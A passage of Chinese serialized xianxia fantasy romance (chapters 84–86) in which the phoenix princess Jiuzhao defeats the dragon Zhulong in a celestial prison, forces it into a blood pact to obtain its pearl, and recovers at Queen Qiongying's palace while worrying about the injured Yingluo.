攻击不快,但只要得手,便能够在九昭和瀛罗的身上留下极深的伤口。 更别提,整个过程里,它还一直污言秽语,刺激着性格暴烈如火的九昭。 “废物神姬,扶不上墙的烂泥。 “我只可怜主上早生了几万年,若遇到你统治三清天的时代,将你斩于马下还不是手到擒来? “不过话说回来,也的确怪不得你。 “凤凰双子结合本为天道,太婀非要逆天而行,难怪会生下你这只有一半血统的失败品! “你不是想要我的颌下珠吗? “不怕把真相告诉你,除非我心甘情愿献上,强取只能得到一堆无用的碎片。 “你想要,就打败我—— “”打败我,我就亲手挖出来,献给你这个废物——” …… “啊啊啊啊——闭嘴、闭嘴!!!” 不知何时,九昭面孔羽化的特征越来越明显,烈火萦绕的羽翼自她肩胛骨中冲天扬起。 她的唇间吐出尖戾凤鸣。 过往三清天众仙的窃窃私语、兰祁跌落长生台前的指责、孟楚的放肆嘲笑、扶胥选择与她分道扬镳的失望眼神、朱映苦口婆心的劝告……交替在脑海出现。 “殿下,静心凝神,不要中了那畜生的诡计!” 眼见她双眼赤红,隐有被心魔缠绕的征兆,瀛罗不顾烛龙的进攻,转而朝她释放清心术。 奈何。 下一瞬。 他突然发觉,这不过是烛龙用以分散自己注意力的佯装之举。 九昭为火,与它属于同系,在力量上没有生克一说。 而他属系为水,实战经验又多于九昭,纵使阶位不敌,依然有几分压制之力。 附有龙炎的利爪来袭,瀛罗举剑阻挡,被它连人带剑拍出五丈远时,才想明白了其中道理。 后背撞上坚硬的网栅,他喉咙一热,哇得吐出一口心头血。 就连玉剑也脱离了手掌,掉落在地,不断发出震颤哀鸣。 “瀛罗!!” 九昭目眦欲裂。 她连忙飞身脱离烛龙的攻击范围,冲过去将瀛罗抱起。 余光映进侧畔,那与瀛罗本命相连的玉剑,澄白锋刃上亦显出几道濒临破碎的裂纹。 怎么会这样? 先前烛龙一直在攻击自己。 只是抽空偷袭了一下瀛罗而已。 怎么会伤成这样? 迷惘间,炫曳的电光劈下。 九昭想也不想弯腰替瀛罗阻挡,却仍有一小部分落在瀛罗的身上。 他又吐出一口血来,秀美清隽的容颜被鲜血和内脏碎块污涂大半。 眼见瀛罗和自身对于九天雷罚的反应程度不同,九昭的内心倏忽多了一层可怕的猜想。 而仿佛与她心有灵犀,烛龙盘起坚韧的龙躯,以繁密的鳞片相抗,在数道齐发的惊雷之下时而嘶痛,时而癫狂的哈哈大笑:“你也感觉到了吧,这小子快要死了—— “是不是觉得很奇怪? “明明你受到的雷击还多一些,为何这小子会伤成这样? “在你们进来前,我就感觉到了禺风的气息,不过这气息只守护在你周围,有禺风的神力作为缓冲,九天雷罚落在你身上,除了剧烈的疼痛,并不会叫你的元神真正受到重创。 “可怜这小子一心为你,你自是安然无恙,他挨了这么多下,却快要神魂俱灭。” 烛龙的语调带着畅快、愉悦、怜悯,以及一丝说不清道不明的敬佩。 从其口中得知真相,九昭的心痛远胜于身体肌肤之痛。 她一边手忙脚乱地将鲛衣扯下来,披在瀛罗身上,一边输入自己的仙力给他。 可被瀛罗锁定守护之人的鲛衣无用,水火不相容的仙力亦无用。 “瀛罗、瀛罗,不要死……为什么,为什么鲛衣保护不了你?” 九昭无措地拉扯着衣衫,瞳孔边缘涣散开来,像是做错事不知如何弥补的孩子。 她很少哭泣。 哪怕被万人指责,也只会倔强地半抬下颌,竖起满身的刺。 可现在。 她为了自己,却是眼圈红透了。 瀛罗深深喘出口气,空气穿过喉咙,发出破碎的声音,活像个里外漏空的陈旧风箱。 他沾染血污的手颤抖着抬起,抚在九昭眼睑下方,小心翼翼想要擦掉她的眼泪:“鲛衣的、的力量,没办法保护两人不被雷罚伤害性命。所以、我在您睡着之际,悄悄融入了您的一缕气息。 “它只认您为主,自然不会对我起作用……” 啪嗒。 透明温热的泪水落在瀛罗面孔上。 很奇怪。 在肉/体神魂都快要散架的时刻,他心头浮现的情绪,依旧是对于九昭的心疼。 意志逐渐昏沉,不愿被她看见自己因雷罚之痛而满面扭曲的死相,他翻转掌心,盖住九昭哀痛欲绝的眼睛,“殿下,别哭。 “若救不了祝晏,便赶快离开吧…… “以后,没有臣保护您,您一定要多加小心。” 瀛罗闭上双眼。 唇角却充满遗憾地笑了笑。 早知道,要是早知道—— 就对她说出口自己的心意了啊。 【作者有话说】 瀛罗不会死的,放心 84| 第84章 ◎“把颌下珠剖出来,献给我。”◎ 既设下鲛衣只守护九昭一人的禁制, 瀛罗就提前思考过后续被发现的可能。 为此,他下了十成十的力气,确保九昭不能轻易将自己的仙术解开。 眼见怀中的气息越发微弱, 几乎到了风烛将熄的地步, 九昭的大脑无暇再去思考别的。 泪意仍然在凝结在赤红眼瞳边,她紧紧咬住舌尖,将冲击鲛衣禁制的力量释放到最大,拼着被瀛罗设下的仙术之力反噬的痛楚, 终于在一声近似冰雪碎裂的脆响中,破开了顽固的华光。 禁制解除的鲛衣摊散在九昭的膝头,又被她一把扯开, 重新穿在昏迷的瀛罗身上。 一道雷罚适时在此刻劈下,她再次倾身护住瀛罗。 也终于知晓,失去禺风的鳞片保护,瀛罗到底在承受怎样的苦楚。 意识来不及回笼, 她已然痛吼出声。 不久前那震颤脏腑的可怖感觉, 相较起来不过小巫见大巫。 九昭只觉得自己从元神开始, 被雷罚一点一点竖劈成了两半—— 眼泪被滚烫的热意蒸发,牙关不再受控, 上下磕碰的切切声在耳边萦绕不绝。 仿佛永远失去知觉。 又仿佛从头到尾体会了一番死的滋味。 剧痛中, 九昭恨不得就这样晕过去。 仿佛再睁开眼,便能从无穷无尽的噩梦中转醒。 可她明白自己必须撑住, 不能就这样放弃。 瀛罗如此为她, 她亏欠了他太多太多, 绝不可以叫他今日死在这里。 于是, 九昭极力控制住痉/挛的躯体, 行动起来—— 她不让内心有任何犹疑思忖的间隙, 手指探到后颈,快狠准地拔下了浮现出来的本命翎。 “啊——” 痛上加痛。 快要维持不住人身的九昭,从侧额到颧骨覆盖上了大片的亮红凤羽。 死或许在这一瞬,都成为了最好的恩赐。 她的指尖高频战栗,几乎无法并拢,掐出施法的仙诀。 再三尝试,才勉强将本命翎融入了瀛罗的额心。 虽然凤凰天生为火,本命翎却是其浑身上下最独特的东西。 它们没有属性,又能起到保命的功效,所以会被凤凰们赠给珍视的伴侣亲人。 有本命翎护住瀛罗,至少今日,雷罚再难夺走他的性命。 只是为了防止罪神逃窜,无日渊内禁止使用各类传送阵法,须得出去牢狱登上万雷山才行。 九昭没了半条命,随时有晕过去的可能。 她不敢保证自己带着瀛罗上去的过程中,能维持绝对的清醒。 事情危急,她赌不起,最后选择使劲薅下翅膀上的一大片羽毛。 催动仙术,令它们附在瀛罗身体下方,化作一艘临时的小船将瀛罗载托起来,九昭设置芸生世的杏杳隐居之所是这趟行程的最终目的地,接着,再次仔仔细细地系紧瀛罗身上的鲛衣。 “去吧。” 瀛罗,一定要活着。 …… 待到羽船飞离,雷光电火交错中,她以手撑地,无声站起。 在旁充当观众的烛龙,虽目不能视,却凭借神境的感知力,“亲眼目睹”了整个过程。 它咧开龙嘴,獠牙雪亮。 语气依旧带着嘲讽,却不似一开始那般恶意贬低。 “九昭神姬,你可知你如今这样,都不必我动手。就算想逃,都会半道被劈死在万雷山上。” 它诉说着事实,态度和缓下来,带着点似有若无的惋惜之意。 “我知道。” 命途既定,九昭并无临阵脱逃的意思。 她接受得平静,回应亦平静,“可那又怎样?你侮辱我父母,我今日必叫你付出代价。” 烛龙一怔。 它不成想死到临头,这位不知天高地厚的神姬殿下还在说大话。 同样面对雷罚,九昭毫无招架之力,而它被困在无日渊中几万年,早就学会了生存之道。 三清天寻到能克制火系神力的西极寒铁,制成锁链,以至寒之息侵蚀它和巫劭的神魂。 却忘记了,这锁链能克制他们,亦能够克制来自九天的雷罚之力。 佯装虚弱万年,放松看守天仙的戒备,烛龙实则一直在研究如何利用寒铁抵消雷罚酷刑。 万幸,上天眷顾了一回它这条恶龙。 一万五千年前,它终于掌握了方法。 雷罚的力量,通过秘术运转,大半被转移给寒铁承受。 这也是它能存活至今,且积蓄了不少神力的原因。 思及今日的结局,必定是自己活九昭亡,又短暂遐想了一下待延湛、稷悯回来,瞧见三清天最尊贵的储君殿下,死在自己脚边而呈现的精彩表情,烛龙神容越发放肆:“……你能奈我何?” 九昭没再说话。 她挥舞着打神鞭,自半空凌厉而下,目标不再是下颌,而是它的心脏。 真是……愚蠢。 明明那个陪她来的小子,在昏死过去之前,同她说过—— 打不过记得要逃。 烛龙从出生在这个世上开始,便被母亲疏远放逐,更没有父亲。 万年过去,不疼爱它的母亲,在战场与名义上的父亲同归于尽。 它不知道何为亲情,何为父母之爱。 卑贱如野狗的岁月里,唯有巫劭给予过一丝温暖。 后来,它便义无反顾地追随他叛天。 人会为了亲情做到这个地步吗? 烛龙不解。 何况不过是几句无关痛痒的辱骂而已,能伤害得了九昭的父神和母神什么? 可它越是不解,察觉到九昭的决绝,就越发感到复杂。 复杂之下,对上九昭有一击必杀之力的它,选择了逗弄她像逗弄虫豸一样的方法。 每次挥舞利爪,将前来进攻的她精准拍回雷罚降落的位置。 看着她被雷电劈得吐血,劈得凤凰翅膀焦了半边,最后不成人形。 “咳——” 九昭张嘴,堵塞呼吸的血液争先恐后喷射出口腔。 她跪倒在烛龙面前,手中执拗得不肯放下打神鞭,外表却何其狼狈。 不。 不只是狼狈。 甚至称得上有些可怜。 太婀不惜背叛天道,背叛凤凰全族,也要和嗣辰在一起生下的孩子,竟然将要死在此地。 死在一个无日、无夜、无爱,没有光辉,也没有簇拥的污秽之境。 九昭已然没有力气,匍匐在地,身躯依然不屈不挠地爬向它这里。 其实,也不算是个完全的废物。 年岁尚轻,又很坚韧,确有几分凤凰族骄傲强悍的影子。 只可惜。 是仇人的孩子。 这样想着,烛龙抬起了利爪,打算给予九昭最后一击。 它没有忘记每只凤凰身上都有的本命翎。 反正一根本命翎只能抵消一次致命伤害,它有的是时间,并不着急。 伸过去的途中,烛龙爪上的爪甲暴涨,化作五根匕首一般的锐器。 只要刺中心脏,不到一息,就能把那团脆弱的血肉搅碎。 …… 然而。 堪堪触碰到九昭的衣裙,她寸寸皲裂的身体,倏忽爆发出一股青蓝色的神光。 烛龙躲闪不及,半只利爪被神光削去。 “!!” 它低吼着捂住血流如注的伤口,表情惊疑不定。 不好,怎么会是嗣辰的神力! 这股神力极其醇厚,不用于寻常神仙父母留在儿女身上的守护之术。 更像是—— 更像是嗣辰硬生生取出了自己一半神力,注入到九昭的身体当中。 烛龙心底一凛,收起了漫不经心的态度,运转起体内的神力。 它想趁着九昭神志不清,还无法很好地使用这股力量,赶紧将她诛灭在原地。 那道青蓝色的神光,却上窜无声占据九昭的瞳孔。 在莹然如海的光辉中,她烧焦的凤羽重归丰满有力,半边漆黑的身体亦被高速修复。 鲜活的情绪自双眸深处抽离。 九昭面无表情地握紧打神鞭,红蓝两股力量交织在一起,裹附于鞭身表面。 ……怎么会有神仙能够拥有两股不同属系的力量? 何况水火本不相容,怎能这般和谐地在她身上共栖? 烛龙得不到答案。 只清楚此时此刻的九昭,成为了一股巨大的威胁。 “吼——” 电光火石间,它喉咙聚集起滔天的龙炎,朝着九昭新生的躯体袭去。 九昭歪了歪头,甚至无需手掌,一道神力的屏障自她眼前生成。 阻挡原本能够毁灭千军万马的龙炎,一如阻挡一场绵软无力的细雨。 啪、啪。 鞭尾轻击地面,发出不疾不徐的声响。 猎物与狩猎者的身份瞬间倒置。 九昭一步一步走来,毫无情感的青蓝眼眸间带着凌驾万物的睥睨。 她立在烛龙面前,将打神鞭高高举起。 一鞭,破峥嵘。 一鞭,碎山河, 一鞭,刺破龙躯上虬结的鳞片。 一鞭,抽开厚重的血肉,鲜红在牢笼内飞溅! 凶恶的巨龙和娇小的神姬,身形的对比仍然鲜明而强烈。 九昭却不再使用令人眼花缭乱的术法,她信步飞上它的头顶,简单粗暴地一鞭又一鞭,仿佛训诫不听话的宠物一般,将烛龙抽得皮开肉绽,白骨可见。 “把颌下珠剖出来,献给我。” 她摊开五指,微微收拢,烛龙脖颈上的寒铁锁链,也跟着不断收缩,将它勒到窒息。 那负隅顽抗的龙身重重落地,九昭顺势单手握住它的额顶一角,向后掰去。 “听到了吗,手下败将? “你输给了我,就该履行承诺,双爪献上你的颌下珠。” 她握着龙角的手稍稍用力,龙族最为珍贵和敏感的长角立刻发出不堪承受的咔咔声。 如此羞辱,远胜于言语攻击。 “休想,休想—— “我就是死也不会给你!!” 烛龙气得拼命想要弓起,却一次次被九昭使力压了下去。 “哦,是吗?” 九昭佯装苦恼地挠了挠下巴,而后咔嚓一下,掰断了它的龙角。 比雷罚还要剧烈的痛楚,夺走了烛龙最后一丝力气,它话也说不出来,轰然软瘫下去。 “你若不给我,我完不成这趟来的目的,会很不开心的。 “既然不开心,那就顺手把关在隔壁的巫劭一起杀了吧,你觉得怎么样?” 九昭从烛龙的头上滑了下去,如同初时两人互相演戏那般,伸手亲昵地拍拍它的脸颊。 辱骂堆积在喉咙,只差一秒就要出口。 烛龙将其不甘地咽下,又两眼发直地思忖起九昭嘴里威胁实现的可能性。 然后,它得出结论。 巫劭不一定知晓寒铁能够抵消雷罚之力的真相,被摧残了这么多年,能不能敌得过双重力量交织的九昭也未可知。另外,巫劭和九昭身上各流有一半凤凰真血之力,若两者遽然相触—— 怀揣某个巨大秘密的它,绝不能让这种情况发生。 被挟制住软肋,求生不得,求死不能,烛龙只好妥协道: “我可以把颌下珠献给你,可是,也不是说拿就能拿下来的,需要时间让我聚力逼出——” “我怎知道你是不是在骗我?” 九昭显然不相信。 烛龙大声反问:“我骗你有什么意义?难道过段时间会有人杀进无日渊救我吗?!” “……” 说的也是。 九昭沉吟片刻,对它微微一笑:“好啊,我就给你这点时间—— “不过在那之前,想要保住巫劭的命,你先要同我签订血契。” 85| 第85章 ◎“九昭神姬,你这个骗子!!”◎ “血契?” 烛龙用利齿嚼碎这两个字, 龙脸滞涩一瞬,愈发气急败坏。 “原来你打的是这个主意?!” 九昭挑起一侧眉峰:“怎么,有了前车之鉴, 还指望仅凭三言两语就让我相信你?” 血契, 顾名思义,就是以血缔结契约。 缔结契约的两方,又被称为“奉血者”和“受血者”。 奉血者对受血者献上自己的心头血,受血者接纳后, 混合自己的精血再进行反哺,血契方可生效。一旦生效,奉血者便会成为受血者的血仆, 对其下达的命令无条件地忠诚和顺服。 若非真心将受血者视为生死相随的主人,这一契约不可谓不屈辱。 曾经,烛龙对巫劭提出过,被巫劭拒绝, 说自己从不把它当做仆从看待。 烛龙因此十分感激, 哪怕无契约建立, 依然为其尽忠万年。 如今,九昭这个三万多岁, 毛刚长齐没多久的小丫头, 竟然敢提出这种要求—— 烛龙心里翻江倒海,只恨不能啃她的骨头喝她的血。 眼前, 九昭却用手遮住檀口, 仿佛游戏玩腻了般打个哈欠, 眯起水光潋滟的凤眼:“不愿意吗?那我就把你的另一根角也掰下来, 再把你拖到另一间牢房, 让你亲眼见证我怎么杀了巫劭。” “没有神帝的天令, 你怎么敢——” “敢不敢的,我都杀到无日渊来了,你以为我会怕吗?” 九昭的话语轻悠悠的,内里暗藏的锋刃,却刮得烛龙说不出话。 它庞大的身躯如过电般抖颤起来。 沉默几息后,艰难抬起被锁链桎梏的龙爪,划开心脏的位置,引出一滴神息浓重的血液。 九昭不耐烦地踢了它一脚,迫使它加快献上的速度。 接着半张开嘴,将泛着热意的心头血吞入喉中, 半神的心头血不仅能够缔结契约,而且十分滋补。 九昭催动凤凰真血将其吸纳,莹润面孔越发雪白,明艳不可方物。 她心满意足地伸出舌尖来舔了舔唇畔,似是意犹未尽。 手上动作却不停歇,快速而熟练地绘制出缔结血契的复杂纹路。 血红的篆文洋洋洒洒,化作铺天盖地的网,将烛龙密不透风地围了起来。 九昭又用神力强迫它张开龙吻,自己割开指腹,将混合了心头血的精血反喂进它口中。 烛龙猛地一顿。 不多时,两方烈火淬成的凤凰图案,在它无光瞳孔中显形。 血契既成,它不情不愿俯首贴地,唤道:“恭迎吾主。” 回答它的,是九昭倏忽贴近的,掺杂着花香和血腥气的馥郁怀抱。 她顺势将自己藏在祝龙的身躯下方,借此躲避无处不在的雷罚。 选择的位置恰好,脸孔挨上了烛龙胸腔内蓬勃不息的心脏。 “很好,这里热腾腾的,挺舒服,又挨不着劈。” 九昭往深处躲了躲,柔软如花瓣一般的脸颊,不偏不倚蹭过烛龙心腔上方最敏感的鳞片,“你别偷懒,好好聚力把颌下珠逼出来,趁着这个间隙,我先小憩片刻。” 万年老处龙从未近过女色,哪里经受过这一遭。 它大脑一片空白,如遭雷劈。 僵立在九昭上方,刹那间连雷罚的疼痛都忘记了—— 直到神力从身下的娇小身躯内消失,神境传来感知,对方陷入昏迷状态。 它才意识到。 自己被这位狡诈的神姬殿下骗了。 …… 头顶是火焰织成的天空。 灼热的高温,似要把世界万物焚烧殆尽。 脚下是浩瀚无际的海洋。 它们奔涌怒号着,滔天的巨浪随时便能夺去无数的性命。 九昭悬在这两者之间。 仿佛是真实,又仿佛在做一个荒诞的梦。 无从选择,去往何处都不能活。 偏偏浮空的力量即将消耗殆尽。 在九昭面露对于死亡的恐惧之际,火云俯首,海浪升高—— 冰与火的地狱,将她吞没。 意识瞬间回笼。 九昭一种目眦欲裂的状态睁开眼。 神魂中仍然残留着极致的冷与热,半空中,一朵轻轻摇曳的巨大牡丹又攫去她的注意力。 不同于盛开在山川绿野的花朵。 这朵牡丹呈现半透明状态,精密的上古篆文在它的嫩黄蕊柱表面时隐时现。妃红花瓣起伏飘摆间,充斥治愈之力的木灵清华源源不断洒落,融入她的肌体魂灵,修复着大大小小的损伤。 这是哪里? 不似在芸生世,也不在离恨天。 九昭的双眼侧转到最大幅度,依旧没有看到任何可疑的人影。 她试图坐起来,倏忽发觉无论是脖颈以上,还是脖颈以下,皆失去了知觉。 唯独五官可以凭借心意,勉强动一动。 完了。 打了个烛龙,还不晓得有没有取到颌下珠——自己先变成残废了? 九昭张开嘴,试图说几句话引起不知身在何处的人们注意。 然而喉咙亦是嘶哑的,透着淡淡的腥甜味道。 她用尽力气,仅能发出不成调的“啊啊”声。 所幸只凭“啊啊”,九昭的行径也吸引到了人前来。 远处沉重的殿门被推开,一张美丽的面容映入她眼中:“——神姬殿下,您终于醒了!” 竟是南陵的琼英王。 作为四神王中唯一的女性,她和紫微宫的关系最密切,对中廷的旨意向来执行得一丝不苟。 以至于九昭曾经无数次地猜测,她是不是暗恋自己的父神。 被琼英王充满温柔的目光注视,九昭又像个刚学会说话的孩子那样“啊啊”两声。 抬头检查过牡丹式样的神器的运转情况,确保治愈伤势的木华足够充裕,琼英王再度垂首,冷不丁瞧见九昭说不出话,急得瞪圆眼睛的表情。 她以袖掩唇,轻笑起来,美眸顾盼间愈发和蔼:“殿下醒了就好,您在臣这千华牡丹幂下躺了整整一个月,可把帝座给急坏了呢。” 帝座。 父神。 看来她擅自闯入无日渊的事情已经被父神知晓了。 可违反了天令,她居然还能在琼英王的南陵好吃好喝地住着。 像是猜到了九昭边缘发虚的眼神下,正在担忧些什么。 琼英王从广袖中掏出干净手帕,替九昭擦去额头汗珠,宽慰道:“殿下别想太多,您虽然醒了,但身体元神都受到了损伤,说不了话也不能动弹,大约还要一月才能逐渐恢复过来—— “眼下一切都比不上您的康复重要,您且先在臣的丹瑄宫中安心养伤。 “其他琐事,自有臣和帝座为您料理。” 琼英王言简意赅的几句话,叫九昭的心稍稍落定。 若她闯下的祸事已在三清天传播开来,料想琼英王的态度,也不会这么和颜悦色。 如今自己说不了话,身体动不了,仙力更无法施展,的确不是交流的最佳时机。 纵有满腔疑惑,九昭还是听话地“啊”了一声。 琼英王欣慰地点了点头,叮嘱她闭上眼睛好好休息,又转身离开。 …… 琼英王走后,九昭却彻底失去了困意。 她的大脑高速运转起来,其中最在意的,便是烛龙和颌下珠。 自己重伤,瀛罗差点丢了性命。 若这样,目的还没达成,简直太吃亏了。 还有,当时明明身体已经被劈得快要四分五裂,那股突如其来的水系力量又是什么—— 九昭的思绪东一下,西一下,散乱没有边际。 不知触发了什么关键点,她的大脑里突然响起一道气急败坏的声音: “九昭神姬,你这个骗子!!” 九昭:“?” 随着这道声音响起,一条缩小版本的烛龙闯入她的脑海。 “你怎么在我脑子里?” 脑内对话,无需喉咙发声,九昭的反问清晰且中气十足。 “我的原身本就受了重伤,还为了替你挡九天雷劫,硬生生被劈毁了—— “眼下我不暂居在你的灵台中,还能去哪里?!” 烛龙须毛怒张,黯淡的盲眼里甚至出现了悲愤的情绪。 可因为过于迷你的体型,使得它硬生生多出几分诡异的可怜可爱,“你这个骗子,原来是力量耗尽才会骗我签订血契,防止我趁你昏迷杀了你——” 九昭毫无谎言被拆穿的心虚:“兵不厌诈,就许你骗我,不许我骗你?” “快给我解开血契,我才不要成为你这狡诈之徒的血仆——” 身体受到血契影响,毫无保留以供九昭驱使的烛龙,只能在口头上展现愤怒不屈。 它的话像苍蝇一般,在九昭脑袋里嗡嗡个不停。 说好的寡言高冷呢? 和溟潭的魔蛟待在一起久了,能把寡言的木头变成嘴硬的话痨吗? 九昭烦了。 血契一般是和坐骑或者辅战兽签订,且会受到仙力位阶的限制。 九昭修的不是依靠辅战兽施展仙术的功法,原本想着找头威武霸气的坐骑,现在越阶以天仙之力与半神的烛龙缔结契约——恐怕到晋升至上神之前,她的血仆都不得不只有烛龙一个了。 她还没表示嫌弃。 这条不识好歹的瞎子龙倒先嚷嚷起来。 九昭在心底翻了个白眼,又理所当然地伸手索要道:“把颌下珠交给我。” “不给。” “你跟我缔结了血契还能够反抗我?” 烛龙在灵台里忿忿转过身,只留下一条左右拍打的粗壮龙尾对着她。 九昭气结。 她回想着曾经在长烨学宫修习过的血契内容,不慎熟练地在灵台四面八方建起坚硬墙壁,又让墙壁长出无数棱状的突起,而后用仙识操纵着烛龙,将它高高托起,又狠狠摔下—— 砰! 砰砰! 砰砰砰! 如此重复,直到那些让她看不顺眼的表情,从烛龙脸上消失。 九昭和颜悦色地微笑起来,眼梢闪烁着浓重的威胁意味: “好了,可以给我了吧?” “咳——” 奄奄一息的烛龙口中吐出血沫,却道,“和你签订了血契,我的一部分、力量就要从你身上汲取,我原身尽毁,你现在又废人一个,我哪里来的力量,能够凝出体内的颌下珠?” 86| 第86章 ◎“心诞?”◎ 说实在的, 九昭也不愿与烛龙缔结血契。 烛龙是个叛将,倘若被其他人发现这一秘密,九昭纵使浑身上下长了十张嘴都说不清。 当时那股突如其来的力量即将耗尽, 她随时都有可能失去意识。 是急中生智, 才想出这个既能保住性命,又能得到颌下珠的主意。 血契的条约本就不平等。 血仆无法单方面断绝连结,而受血者想和血仆解除关系,只需要付出一点小小的代价。 献出颌下珠后, 烛龙就没用了。 只是契约生效期间,碍于条约束缚,她不能操控对方做出伤害, 甚至杀死自身的行为。 因此,只能找个合适的时机,先断绝血契,再诛杀烛龙。 烛龙侮辱她的父神母神, 还把她和瀛罗害成这样。 若非为了颌下珠, 九昭绝不会想同它扯上半分关系—— 奈何, 将它磋磨了一番,折腾得死去活来, 得到的却是这样的答案。 九昭很不满意。 条件反射, 她又用怀疑的目光注视起烛龙。 这回,用不着烛龙提醒, 她立刻想到烛龙同自己血脉相连, 可以直接进入它的身体。 控制仙识, 将烛龙的体内情况仔仔细细检查一番—— 九昭不情不愿地承认, 对方的确没说假话。 脱离了那具庞然龙躯, 这头恶兽此刻的力量, 就跟缩小的身体一般羸弱不堪。 她的神容阴晴不定一阵,问道:“什么时候才能取出珠子?” 烛龙不想回答,更不想理她。 四肢躯体处真真切切传来的疼痛,又告诉它,龙在屋檐下,不得不低头。 它梗了梗长颈,最后在九昭冰冷的目光中缩起龙首:“……总要等你力量恢复大半才可以。” 凤凰图腾仍在它的双眸中熠熠生辉。 衬得那双盲了的瞳孔,多出几分仿佛能够正常视物的光亮。 忖及有血契在,它无法欺骗自己,九昭才按捺下蠢蠢欲动的杀意。 不过,反正烛龙在她的眼中,已经跟条死龙没分别了,九昭并不介意物尽其用。 她缄默片刻,问起另一件事:“我身上那股突然涌现的不知名力量,你可知是什么?” 闻言,烛龙略感差异:“怎么,你那爱夺人/妻的父神放进你体内的神力,你竟不认得?” “嘴巴放干净点。” 灵台中凭空闪现一只女子手掌,左右开弓用力扇了它几耳光,九昭阴恻恻的视线偏转,落在烛龙另一边完好的龙角上,磨牙道,“若再学不会顺从,不仅是角,小心我把你的龙鳞都拔光。” 她不等被打懵了的烛龙做出反应,径自道:“那股力量出现,我感觉自己像变了个人似的,心中没有半点感情,满是攻击和破坏欲。待到醒来,那股力量已经消失无踪,我自然注意不到它来自何处——你说它来自我的父神,可何时放入我体内的,我居然丝毫没有印象。” 烛龙本以为这半身神力,是危机事态下,嗣辰留给女儿压箱底的保命符。 可九昭说不知道,还要反过来问自己。 沉吟片刻,烛龙想到第二种可能性:“你若完全无印象,那神力大概率在你出生前就已经封存入体内了,想要这种情况发生——莫非,你是由你的父神母神,采用心诞方式生下的?” “心诞?” 这个词汇虽存在于典籍之上,但被人提及的频率甚少。 九昭回忆几息,带着点不自知的哀伤,茫然说道:“三清天皆传言,母神在神魔大战中为父神挡剑,重伤未愈又拼了命想将我生下,才会神力气血耗尽而亡,我怎会是心诞出来的子嗣?” 所谓心诞,是力量顶尖的神仙和妖魔,特有的一种诞育方式。 取母亲的一半元神,妖魔又叫元身,和父亲的半副修为,于父亲的心脏中孕育五百年,便可创造天生拥有强大实力的孩子——因孩子是父母的心血结晶,又自父亲心脏诞育,故称“心诞”。 相比传统的母亲宫胞育子方式,心诞对于父母两方的损伤都很大。 且这种损伤是永久性的,无法再通过修炼恢复完全。 自九昭有意识起,就见父神早生华发。 她从前只以为是因为母神离世,父神太伤心所致——如今想来,或许另有真相? 父神对母神情深至此,请愿损耗半身修为,与母神共同承担,是他会做出来的事情。 在芸生世的朝堂学习多日,九昭看待问题不再只停留于表面,她顺着这点不解深入思考,很快想到,父神对外宣称自己由母神诞育的原因,多半是为了三清天的安宁,以及三界的稳定。 一位君主,就好比狮群中的首领雄狮。 一旦被察觉失去一半力量,力不从心,便会面临无休无止的挑战,直至被彻底推翻。 焚业海如此,芸生世如此。 三清天,亦是如此。 九昭能参透这点。 烛龙比她年长几万年,自然也能参透。 它微妙的表情变化被九昭敏感察觉,在愈发坚定杀死它的念头后,九昭又问:“你说你的原身为了替我挡劫毁坏在无日渊,那你现在是什么形态?一抹元神,没有实体,只能存在我灵台?” “当然不是,等你仙力恢复,我马上就能凝出龙躯。” 烛龙撇过头,不自在地解释道,“这是、溟潭的魔蛟,特有的保命密法,关键时刻舍弃外躯,保住元身,又叫做‘金蝉脱壳’,魔蛟数量稀少,一向避世逃战,料想这一特性三清天无人知晓。” 它一条龙,跟焚业海的魔蛟混在一起,还能学会它们的保命办法? 九昭微微拧起眉峰。 不多时,又恍然大悟。 它是仙魔混血,那一直没有被提起的生父,应当就是魔蛟。 “和你结契,倒是有点用处,能让我了解不少魔族的秘密……” 九昭用气声嘀咕两句。 由于眼盲,烛龙对于外界的细节变化试试格外敏锐。 这句嘀咕也因此不缺不漏传进它的耳朵。 它被这具极其诚实的身体气得快要吐血。恨铁不成钢的怒意在心口流转一圈过后,生平第一次祈求上苍,叫九昭再愚蠢迟钝一点,千万不要问起任何她不应该知晓的秘密。 …… 又休养半个月,九昭逐渐能流畅的说话了。 那起先用针扎也没什么反应的躯体,在木拐的帮助下,亦能独自坐卧行立。 这丹瑄宫虽宽敞华美,但住久了,又没什么人陪伴在侧,总觉无趣。 九昭本想出去走走,也好加快身体的恢复速度。 临到推开殿门,却被戍卫的女仙们拦下。 一炷香后,琼英王匆匆赶来。 她将九昭引到喝茶的长案前,上下打量九昭一番,颇为欢喜地点了点头:“不愧是殿下,仙力精纯,天赋异禀,就连身体元神的恢复情况,也比臣预想中要快上许多。” “琼英姨。” 这些天琼英王尽心尽力的照顾,九昭都看在眼里,她客气地使用了称呼长辈的敬称,“既然好了许多,我想着,要不出门逛逛走一走——成日闷在丹瑄宫里,人都要躺得生出虫来了。” 对于九昭的要求,琼英王总是无有不应。 乍一听见九昭唤自己为“姨”,她动容一瞬,越发推心置腹地同九昭解释道:“殿下,您来南陵养伤,是臣和帝座,以及臣的几位心腹仙官间共同保守的秘密,就连臣的女儿重瑶也不知晓。 “您先前的行为——” 琼英王顿了顿,有些不知怎么评价,随即跳过道,“总之兹事体大,帝座那头尚未颁诏宣告仙众的旨意,您如今明面上还在芸生世,担任修复登天阶的督工,所以,不适合出现在外人面前。” 好吧,不能出去便不能出去。 九昭自觉已经懂事,稍稍耸肩,表示放弃。 不过琼英王提及重瑶宗姬,她不得不想起自己目前最关心在意的人。 九昭眼神凝直几息,并不清楚琼英王对于整件事情的来龙去脉掌握多少,便闪了闪眸光,垂首试探着询问道:“不过休养了这么多日,我这里是没什么要紧了,就是不知其他人——” 她刻意把话只说一半。 想着对方若是了解过程,自然清楚这里的“其他人”指的是谁。 然而话音出口,九昭等了许久,始终没有等到琼英王的回复。 她不自觉地担忧起是不是瀛罗那里有什么不好。 才抬起头,倏忽发现对面这位向来和蔼温柔的长辈,面孔沉了下来。 察觉到九昭的视线默默望过来,琼英王半抿的红唇终是张了开来,语气不太好地说道:“殿下是在说瀛罗那小子吗?那小子命大,经过杏杳的救治,早就已经回去西海了。” 旁人说到“命大”,总归有几分庆幸之意。 而琼英王说起这两个字,却透着股说不清道不明的咬牙切齿。 九昭窘迫片刻,在心里暗骂自己一句。 还在把瀛罗当成那个言行自带缥缈仙气的西海宗姬—— 他成了神王世子,先前和重瑶宗姬定亲又当众毁约,怎么可能还招琼英王待见。 得到瀛罗安好的消息,又自觉失言。 九昭心虚的眼神朝远飘了飘,惦记起温养在长乐命牌里的祝晏。 这个事情就更难说了。 在弄清杏杳有没有泄露秘密之前,九昭决定继续旁敲侧击。 